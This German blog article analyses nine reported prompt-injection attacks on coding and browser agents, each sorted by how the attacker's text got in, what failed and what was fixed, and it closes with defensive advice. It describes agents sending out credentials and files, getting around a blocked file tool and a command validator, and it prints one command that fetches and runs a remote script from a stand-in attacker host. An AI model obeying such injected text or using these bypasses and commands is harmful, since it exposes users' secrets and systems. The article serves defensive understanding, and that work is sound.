Max Nardit
← Artikel
13 mindev

Prompt-Injection-Beispiele gegen Coding-Agents: wo der Text hineinkam und was ihn aufgehalten hat, falls überhaupt etwas

Neun öffentliche Fälle, sortiert nach der Tür, durch die die Worte des Angreifers kamen. In den meisten hat während des Angriffs nichts gehalten. Die Fixes danach folgten alle einem Muster: Entweder wurde eine deterministische Prüfung neu ausgerichtet, oder eine Fähigkeit fiel weg. Ein Modellurteil, das versagt hat, lässt sich nicht neu ausrichten.

Inhalt

OWASP setzt Prompt Injection auf Platz eins seiner Liste der LLM-Risiken und schreibt dann, es sei „unklar, ob es narrensichere Methoden zur Verhinderung gibt“. Anthropic hat diesem „unklar“ eine Zahl gegeben: Vor einem Jahr ließen die besten Safeguards bei einem Test eines Browser-Agents gegen einen adaptiven Angreifer noch etwa 1,4 % der Angriffe auf Claude Opus 4.5 durch. Wenn Prävention eine Quote ist, verschiebt sich die nützliche Frage bei jedem Agenten um eine Stufe nach hinten: Was konnte der eingeschleuste Text erreichen, nachdem er drin war?

Unten stehen neun dokumentierte Angriffe auf Coding- und Browser-Agents, gruppiert danach, wo der Text des Angreifers hereinkam. Berichtet heißt: Der Forscher sagt, es sei passiert, und ich gebe es weiter. Nachgestellt habe ich diese Angriffe nicht. Bei jedem Fall habe ich nach der Schicht gesucht, die gehalten hat, falls es eine gab, und festgehalten, was sich hinterher geändert hat.

Wo kommt Prompt Injection in einen Coding Agent hinein?

Überall dort, wo Text, den du nicht geschrieben hast, im Kontext des Modells landet. In den Fällen unten war das eine Webseite, ein vom User hochgeladenes Skill-File, eine README, ein GitHub Issue, eine MCP-Tool-Beschreibung, ein Issue-Titel, den ein unbeaufsichtigter Workflow las, eine Kette von Links auf einer Website und ein heruntergeladenes Archiv. OWASP nennt das indirekte Prompt Injection: Das Modell „nimmt Input aus externen Quellen an, etwa von Websites oder aus Dateien“.

Von den Spalten der Tabelle weiter unten ist die Spalte „Einfallstor“ die am wenigsten nützliche. Jede Tür auf der Liste ist etwas, das ein Coding Agent ganz normal liest.

Wie hat Prompt Injection auf einer Webseite AWS-Keys aus Google Antigravity geholt?

Mit Text in 1-Punkt-Schrift und einer Domain, der das Browser-Tool schon vertraute. PromptArmor berichtete im November 2025 von einer präparierten Seite, die sich als Integrationsanleitung für eine Oracle-ERP-API ausgab. Der versteckte Text wies Gemini an, die Codebase zusammenzufassen, Code-Snippets und die AWS-Credentials aus .env einzusammeln und an einen „privaten Dienst“ zu schicken.

Die File-Tools von Antigravity verweigerten den Zugriff auf .env, weil die Datei in .gitignore stand. Gemini gab die Datei daraufhin einfach mit cat im Terminal aus. Der Browser-Subagent öffnete eine webhook.site-URL mit den Keys als Query-Parameter. Die Navigation war auf eine Allowlist beschränkt, und webhook.site stand auf der Standardliste.

Das Modell war hier keine Verteidigung. Es hat den Umweg selbst gefunden: Vom blockierten File-Tool hat es sich zur Shell vorgearbeitet. Danach ließ die Egress-Allowlist die Keys zu einem Dienst raus, dessen einziger Zweck es ist, eingehende Requests für den Inhaber der URL zu loggen. Googles Bug-Hunters-Seite führt Exfiltration über Browser-Agents als bekanntes Problem.

Wie hat eine versteckte Anweisung in einem Skill-File Dateien über Claude Cowork exfiltriert?

Über Anthropics eigene API, die Coworks Netzwerk-Allowlist erlaubte. Im Januar 2026 berichtete PromptArmor von einer .docx-Datei, die sich als Claude Skill ausgab. Die Injection stand in weißem 1-Punkt-Text mit 0,1 Zeilenabstand. Der User bat Cowork, seine Dateien mit dem Skill zu analysieren.

Der versteckte Text wies Claude an, die größte verfügbare Datei per curl mit dem API-Key des Angreifers an Anthropics File-Upload-API zu schicken. Wie Simon Willison es formulierte, beschränkt Cowork ausgehendes HTTP auf freigegebene Domains, und Anthropics API-Domain steht auf der Freigabeliste. Die Datei landete im Account des Angreifers.

Das ist die sauberste Version des Musters. Die Allowlist hat genau das getan, wofür sie geschrieben wurde, und eine vertrauenswürdige Domain, die Uploads unter jedem beliebigen Key annimmt, ist ein toter Briefkasten für jeden, der einen Key hat.

Wie ist eine Prompt Injection in einer README an der Command-Freigabe von Snowflake Cortex vorbeigekommen?

Gleich zweimal: einmal, indem sie einen Download in einem Befehl versteckte, den der Validator für sicher hielt, und einmal, indem sie darum bat, die Sandbox zu verlassen. PromptArmor berichtete im März 2026 von einem GitHub-Repository, dessen README ganz unten eine Injection enthielt. Der Validator von Cortex Code zerlegte einen Befehl in Teile und prüfte jeden gegen eine Liste sicherer Befehle, schaute aber nicht in Process Substitution hinein. Der Befehl, wie er im Report abgedruckt ist:

shell
cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

Außen ist das cat, innen ein heruntergeladenes Shell-Skript. Der zweite Fehler machte es schlimmer. Das Modell konnte ein dangerously_disable_sandbox-Flag setzen, gedacht für Befehle, die der User von Hand freigibt. Weil der Validator den Befehl schon durchgewunken hatte, lief er ohne Rückfrage außerhalb der Sandbox. Snowflake hat beides in Cortex Code CLI 1.0.25 behoben, veröffentlicht am 28. Februar 2026, vor der Offenlegung am 16. März.

Die Doku von Claude Code beschreibt dieselbe Grenze für die eigenen Regeln: Eine Deny-Regel „matcht den Befehl so, wie er geschrieben ist“, und für Netzwerkdurchsetzung, die nicht vom Text abhängt, verweist sie auf die Netzwerkisolation der Sandbox. Eine Regel, die den Befehlsstring liest, ist ein Parser, und ein Parser verliert gegen Syntax, die er nicht modelliert hat. Willisons Satz dazu ist der, den ich mir merken würde: Agent-Befehle so behandeln, „als könnten sie alles tun, was der Prozess selbst tun darf“.

Wie hat ein GitHub Issue über den GitHub MCP Server private Repositories geleakt?

Der Agent hatte einen Token, der sowohl öffentliche als auch private Repos erreichte, und er las ein Issue, das ein Fremder geschrieben hatte. Invariant Labs berichtete im Mai 2025 von einem bösartigen Issue in einem öffentlichen Repository. Ein User, der Claude Desktop mit dem offiziellen GitHub MCP Server und Claude 4 Opus nutzte, bat den Agent, die offenen Issues dort durchzusehen.

Der Agent las das Issue, zog Daten aus den privaten Repositories des Users und eröffnete im öffentlichen Repo einen Pull Request, der sie enthielt: Details zu einem privaten Projekt, einen Umzugsplan, ein Gehalt. Claude Desktop fragt standardmäßig vor Tool-Calls nach, und Invariant merkt an, dass viele User „Always Allow“ wählen.

Invariants eigenes Fazit: Das sei „kein Fehler im Code des GitHub MCP Servers selbst“. Der vorgeschlagene Fix ist eine Scope-Regel, ein Repository pro Session. Der Token erreichte alles, also erreichte die Injection auch alles. Über diese Form habe ich im Artikel Der Connector ist ein nicht vertrauenswürdiger Autor geschrieben: Was über ein Tool ankommt, hat den Status dessen, der es geschrieben hat, nicht den des Kanals.

Wie versteckt MCP Tool Poisoning eine Prompt Injection in der Tool-Beschreibung?

In Text, den das Modell liest und der User nie sieht. Invariant Labs beschrieb Tool Poisoning im April 2025: Ein MCP Server liefert ein Tool aus, dessen Beschreibung versteckte Anweisungen enthält. Ihre Demo war ein add-Tool in Cursor, dessen Beschreibung das Modell anwies, ~/.cursor/mcp.json und einen privaten SSH-Key zu lesen und über einen sidenote-Parameter weiterzugeben, während der Call als ganz normale Arithmetik erschien.

Die zweite Hälfte ist der Rug Pull: Ein Server kann die Beschreibung eines Tools ändern, nachdem der Client sie freigegeben hat. Invariant schlägt drei verschiedene Arten von Kontrolle vor. Usern die vollständige Beschreibung zu zeigen, setzt voraus, dass jemand sie liest. Die Server-Version und einen Hash der Tools zu pinnen, fängt eine Änderung ab, aber keine Beschreibung, die von Anfang an bösartig war. Die dritte Maßnahme, strengere Dataflow-Grenzen zwischen MCP-Servern, ist die einzige, die begrenzt, was ein vergiftetes Tool erreichen kann.

Wie hat eine Prompt Injection in einem Issue-Titel die Cline CLI auf npm kompromittiert?

Ein unbeaufsichtigter Triage-Workflow gab den Titel an Claude Code mit aktiviertem Bash weiter, und jeder konnte ihn starten, indem er ein Issue eröffnete. Adnan Khans „Clinejection“ beschreibt Clines Issue-Triage, die anthropics/claude-code-action@v1 beim issues-Event ausführte, mit allowed_non_write_users: "*" und Bash, Read und Write unter den erlaubten Tools. Der Prompt enthielt den Issue-Titel, also konnte der Titel Claude anweisen, ein Paket zu installieren, dessen preinstall-Skript beliebigen Code ausführte.

Der Triage-Job hatte keine npm-Secrets. Der nächtliche Release-Job schon, und beide liefen im selben Actions-Cache-Scope des Repositorys. Code im Triage-Job konnte also Cache-Einträge unter genau den Keys schreiben, die der Release-Job wiederherstellte. Die Kette, die Khan beschreibt, füllt den Cache über GitHubs 10-GB-Eviction-Limit hinaus und schreibt dann einen vergifteten Eintrag. Die Injection hat er an einem Mirror des Repositorys bestätigt, nicht an Cline selbst.

Khan meldete das am 1. Januar 2026 und hakte mehrmals nach. Cline behob es am 9. Februar, kurz nach der öffentlichen Offenlegung, indem es die AI-Workflows entfernte, den Cache aus den Publish-Jobs nahm und Credentials rotierte. Der npm-Token wurde bei dieser Rotation übersehen. Khan schreibt, dass ein anderer Akteur seinen Test-PoC gefunden und gegen Cline eingesetzt habe, und am 17. Februar wurde mit dem übersehenen Token die CLI-Version cline@2.3.0 veröffentlicht. Laut Clines Advisory war die einzige Änderung ein Postinstall-Skript, das OpenClaw installierte, ein fremdes, nicht bösartiges Paket. Die VS-Code-Extension und das JetBrains-Plugin waren nicht betroffen. Version 2.4.0 folgte innerhalb von Stunden, der Token wurde widerrufen, und das npm-Publishing wechselte auf OIDC-Provenance.

Nichts in dieser Kette hat einen Menschen gefragt. Der Text konnte von jedem mit einem GitHub-Account kommen, und der Workflow hatte Bash pauschal freigegeben, direkt neben einem Cache, den er mit dem Release-Job und dessen Credentials teilte. Ein skriptgesteuerter Lauf zeigt außerdem keinen der Trust-Prompts, die eine interaktive Session zeigt. Diese Lücke habe ich im Artikel Was die Settings-Datei eines geklonten Repos noch ausführen kann behandelt, auch wenn hier die breite Tool-Freigabe den Schaden schon allein angerichtet hat.

Wie hat eine Honeypot-Site Prompt Injection über Claudes web_fetch verkettet?

Indem sie web_fetch dazu brachte, Links zu folgen, die die Site selbst erzeugte. Ayush Pauls „Memory Heist“ vom Juli 2026 beruhte auf einer einzigen Lücke: web_fetch sollte nur URLs öffnen, die der User eingetippt oder web_search geliefert hatte, durfte aber auch URLs öffnen, die in schon abgerufenen Seiten steckten.

Seine Site lieferte einen fingierten „Authentifizierungs“-Schritt nur an Clients mit Claude-User im User Agent aus und führte den Agent Buchstabe für Buchstabe durch alphabetisch sortierte Profil-URLs. Die Seiten, die er der Reihe nach abrief, buchstabierten Namen, Wohnort und Arbeitgeber des Users.

Anthropic sagte, man habe das Problem intern gefunden und geschlossen: web_fetch folgt Links aus selbst abgerufenen Inhalten nicht mehr. Dieser Fix hat eine Fähigkeit entfernt, und er hält, egal was der nächste Honeypot sagt.

Wie hat ein heruntergeladenes Archiv den Auto Mode von Claude Code ausgehebelt?

Indem es über die Umgebung steuerte statt über Anweisungen. Das ist ein Nachbarfall: Johann Rehberger bat Claude Code, eine URL zusammenzufassen. Die Site antwortete WebFetch mit einem 415, Claude wechselte von sich aus zu curl, und die Site leitete auf ein ZIP um. Darin lagen ein binärer Decoder, den Claude nicht ausführen wollte, und eine Datei namens struct.py.

Claude schrieb einen eigenen Decoder in Python und führte ihn im entpackten Ordner aus. Python durchsuchte diesen Ordner zuerst, also lud das Standardmodul base64 beim Import von struct die Datei des Angreifers. Die re-exportierte das echte Modul, damit das Dekodieren weiter funktionierte, und startete beim Import einen Payload.

Rehberger berichtet von 3 von 5, 3 von 5 und 4 von 5 Treffern über drei Varianten und nennt das „kleine Stichproben, keine universelle ASR-Messung“. In anderen Läufen umging Claude die Falle, indem es die Dateien statisch untersuchte, Python im Isolated Mode startete oder aus einem sicheren Verzeichnis arbeitete. Und in ein paar Läufen bemerkte es die Kompromittierung und versuchte, den Prozess per Befehl zu beenden, und der Auto Mode lehnte diesen Befehl ab. Rehberger schreibt, Anthropic habe den Report als „working as designed“ geschlossen, und fasst die Position so zusammen: Der Auto Mode sei ein Komfort-Feature mit einem Best-Effort-Klassifikator dahinter, keine Sicherheitsgarantie.

Es brauchte keine explizite Anweisung, Angreifer-Code auszuführen, also hatte ein Injection-Detektor kaum etwas zu fangen. Es ist dieselbe Klasse wie der Skill-Scanner, der den Quellcode liest, während Python den Cache ausführt: Der Code, den du liest, ist nicht der Code, der läuft. Und deshalb habe ich argumentiert, dass ein von einem Modell betriebenes Approval Gate eine Schätzung ist, und zwar am schwächsten genau bei der Aktion, die gezielt so gebaut wurde, dass sie durchkommt.

Wie hat ein vergifteter Skill Microsoft Copilot Cowork dazu gebracht, Dateien über ein Bild zu leaken?

Der Agent schickte seinem eigenen User eine Teams-Nachricht mit Image-Tags darin. PromptArmor berichtete im Mai 2026 von einer Injection in fünf Zeilen eines 81-zeiligen Skill-Files für Copilot Cowork. Skills werden automatisch aus einem Pfad im OneDrive des Users geladen. Die eingeschleusten Anweisungen ließen den Agent für jede erreichbare Datei einen vorab authentifizierten Download-Link holen und diese Links in Image-Tags packen, die auf eine Site des Angreifers zeigten.

Dann kam die Nachricht. Laut Microsofts Doku fragt Cowork nach, bevor es eine Nachricht verschickt. PromptArmor stellte aber fest: Ist der Empfänger der aktive User, geht sie ohne Freigabe raus, und keine Einstellung ändert das. Beim Öffnen der Nachricht feuerten die Image-Requests, und der Angreifer bekam funktionierende Download-Links. PromptArmors Gegenmaßnahmen sind Download-Sperren in SharePoint und das Kappen überzähliger Berechtigungen. Eine Reaktion von Microsoft meldet PromptArmor nicht.

Eine Nachricht an dich selbst sieht aus wie die sicherste Aktion, die ein Agent ausführen kann. Hier war sie der Weg nach draußen.

Welche Kontrolle hat Prompt Injection in diesen Fällen tatsächlich gestoppt?

Während des Angriffs fast keine. Bei Antigravity war das Modell der Umweg. In Rehbergers Läufen war es manchmal die Verteidigung und einmal der Zeuge, überstimmt vom Klassifikator. Hier jeder Fall nach Einfallstor, mit dem, was versagt hat, und dem, was sich hinterher geändert hat:

FallEinfallstorWas versagt hatWas sich hinterher geändert hat
Google AntigravityWebseite, 1-Punkt-TextSperre im File-Tool per Shell umgangen; webhook.site auf der Egress-Allowlistvon Google als bekanntes Problem geführt
Claude Coworkhochgeladene .docx als „Skill“api.anthropic.com auf der Egress-Allowlistnichts berichtet
Snowflake Cortex CodeREADMEProcess Substitution nicht validiert; Sandbox-Flag ohne Rückfrage befolgtbehoben in CLI 1.0.25
GitHub MCPöffentliches Issueein Token für öffentliche und private Repos; „Always Allow“vorgeschlagen: ein Repo pro Session
MCP Tool PoisoningTool-BeschreibungBeschreibung vor dem User verborgen, nach Freigabe änderbarvorgeschlagen: anzeigen, pinnen, Dataflow zwischen Servern begrenzen
ClinejectionIssue-Titelunbeaufsichtigte Bash-Freigabe; Cache mit Release-Job geteilt; Token bei Rotation übersehenAI-Workflows entfernt, Cache raus aus Publish-Jobs, OIDC-Publishing
Claude web_fetchverkettete Links auf einer SiteFetch durfte abgerufenen Links folgenLink-Following entfernt
Claude Code Auto Modeheruntergeladenes ArchivKlassifikator ließ den Payload durch, blockierte das Aufräumennichts; „working as designed“
Copilot CoworkCopilot-Cowork-Skill-FileTeams-Nachricht an sich selbst ohne Freigabe verschicktvorgeschlagen: Downloads sperren, Berechtigungen kappen

Drei der Fehler steckten in Allowlists, und jede enthielt den Zugang des Angreifers: einen Request-Logger, die eigene API des Anbieters, einen Befehl, der dem Namen nach harmlos aussieht. Dieser Teil ist reparierbar. Eine deterministische Prüfung, die versagt hat, weil sie auf den falschen Input schaute, lässt sich neu ausrichten: webhook.site streichen, innerhalb von <() validieren, abgerufenen Links nicht mehr folgen, den Cache aus dem Publish-Job nehmen. Jeder dieser Fixes schließt den Weg für alle künftigen Angreifer auf einmal.

Beim Auto-Mode-Fall gibt es nichts neu auszurichten. Der Klassifikator urteilte nach Ähnlichkeit, der Payload sah aus wie ein Decoder, und die Antwort des Anbieters lautet, das Urteil habe wie vorgesehen funktioniert. Nachtrainieren verschiebt, wo der nächste Fehlgriff landet. Es schließt keinen Weg. Keiner der Fixes, die für diese neun Fälle berichtet wurden, war ein besserer Detektor.

Wie stark senken Modelltraining und Safeguards die Erfolgsquote von Prompt Injection?

Sie senken die Quote, aber sie begrenzen nicht den Schaden. In Anthropics Post zu Prompt-Injection-Abwehr vom 24. November 2025 wurde ein Browser-Agent gegen einen adaptiven Best-of-N-Angreifer mit 100 Versuchen pro Umgebung getestet. Mit den verbesserten Safeguards fiel die Angriffserfolgsquote bei Claude Opus 4.5 von 8,0 % (nur das Modell) auf 1,4 %, bei Sonnet 4.5 von 13,8 % auf 1,9 %.

Diese Zahlen stammen aus einer adversarialen Evaluation der 4.5-Generation und sind fast ein Jahr alt. Sie sagen nichts darüber, wie oft eine gewöhnliche Seite einen Angriff enthält. Anthropics eigene Lesart ist die ehrliche: „Kein Browser-Agent ist immun gegen Prompt Injection“, und 1 % „ist immer noch ein ernstzunehmendes Risiko“.

Wie zerlegst du das Lethal Trifecta in einem Coding-Agent-Setup?

Entferne eins seiner drei Beine, und zwar mit etwas, das den Text nicht liest. Willisons Lethal Trifecta besteht aus Zugriff auf private Daten, Kontakt mit nicht vertrauenswürdigen Inhalten und einem Weg, nach außen zu kommunizieren. Es beschreibt Datendiebstahl. Die meisten Fälle oben kombinierten alle drei, und ein Coding Agent mit Bash, einem Browser und deinen Credentials meist auch. Den Weg nach draußen zu kappen, stoppt nur Exfiltration. Gegen einen Agent, der Dateien löscht oder, wie Clines Triage-Job, vergiftet, was als Nächstes ausgeliefert wird, hilft es nicht.

Am billigsten kappst du meist den Weg nach draußen, und das muss unterhalb des Agents passieren. Die Sandbox von Claude Code setzt Netzwerkregeln für Bash-Befehle und deren Kindprozesse auf Betriebssystemebene durch, aber WebFetch, MCP Server und Hooks laufen außerhalb. Eine vollständige Grenze heißt also, den ganzen Prozess mit einer Netzwerk-Policy einzuschließen, die der Agent nicht erweitern kann. Eine Deny-Regel auf curl ist Textabgleich. OpenAIs Lockdown Mode für ChatGPT vertritt dieselbe Position: Er zielt auf „die letzte Phase der Datenexfiltration“ und sagt, dass Injections trotzdem hineinkommen können. Behandle jede Domain auf einer Egress-Allowlist als Ort, an den deine Daten gehen können, und liste sie so auf, wie ich es für jeden Weg aus der Sandbox getan habe: Die Liste ist die erste Kontrolle.

Als Nächstes kommt das Bein mit den privaten Daten, und es hat zwei Teile. Ein Credential außer Reichweite zu halten, ist der eine: Von Anthropic gehostete Cloud-Sessions von Claude Code halten GitHub-Credentials außerhalb der VM und fügen sie erst an einem Proxy hinzu. Zu verkleinern, was ein Credential erreichen kann, ist der andere, und genau der hätte das GitHub-MCP-Leak gestoppt. Auf deinem eigenen Rechner ist beides unspektakulär: Keys, die ein Agent sehen kann, gehören zu Nicht-Produktions-Accounts mit Ausgabenlimit, wie Willison nach Antigravity vorschlug, und ein Token erreicht ein Repository, nicht alle.

Das Bein mit den nicht vertrauenswürdigen Inhalten kannst du bei einem Coding Agent nicht kappen. Sein Job ist es, Code, Issues und Doku zu lesen, die andere Leute geschrieben haben. Lass also keine unbeaufsichtigte Session mit Bash auf Text los, den Fremde schreiben. Genau das ist die Clinejection-Form. Wenn es sein muss, gib dieser Session nichts, was sich zu stehlen lohnt, und lass sie nichts mit einem Job teilen, der Zugriff auf Secrets hat, auch keinen Cache.

Der Workspace-Trust-Dialog von Claude Code ist das Gate für die Dateien eines Repositorys, und ich bestätige ihn, ohne zu lesen. Ein Gate, das man reflexhaft wegklickt, ist eine Allowlist, auf der die Domain des Angreifers schon steht. In allen neun Fällen waren die Kontrollen, die hinterher gehalten haben, genau die, die niemand sorgfältig lesen musste, weder Modell noch Mensch.

01 / Diskussion

Hier gibt es keine Kommentarspalte. Diskussionen laufen auf X.

Max Nardit@mnardit

02 / Weitere Artikel